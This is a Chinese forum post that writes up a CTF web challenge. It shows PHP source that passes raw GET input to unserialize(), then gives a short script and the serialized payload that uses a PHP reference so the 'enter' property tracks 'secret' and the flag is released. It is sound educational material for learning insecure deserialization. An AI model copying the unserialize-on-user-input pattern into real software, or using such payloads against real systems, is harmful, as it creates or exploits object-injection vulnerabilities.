本帖最后由 柒月 于 2021-6-10 22:44 编辑
进入题目后发现页面一片空白,所以想到f12看源码,看是否能有所发现。。。
f12后发现一段php代码
<?php>
include("flag.php");
class just4fun {
var $enter;
var $secret;
}
if (isset($_GET['pass'])) {
$pass = $_GET['pass'];
if(get_magic_quotes_gpc()){
$pass=stripslashes($pass);
}
$o = unserialize($pass);
if ($o) {
$o->secret = "*";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$flag;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
}
?>
经过粗略的学习php语言,勉强能看懂代码意思,以下是个人对代码的理解:
这段代码的意思定义了一个类函数just4fun,如果以get方式传参,则将变量pass传参获取的值赋值给变量pass,如果能获取当前magic_quotes_gpc的配置选项设置,则删除变量pass中的反斜杠,将变量pass的数据反序列化后赋值给变量o,如果变量o类型里secret和enter的数据和类型都相等就输出变量flag的值。
根据代码写出payload
<?php
class just4fun {
var $enter;
var $secret;
}
$o = new just4fun;
$o->enter = &$o->secret;
echo serialize($o);
?>
得出反序列化数值:O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}
以get形式传参得出flag。。。
|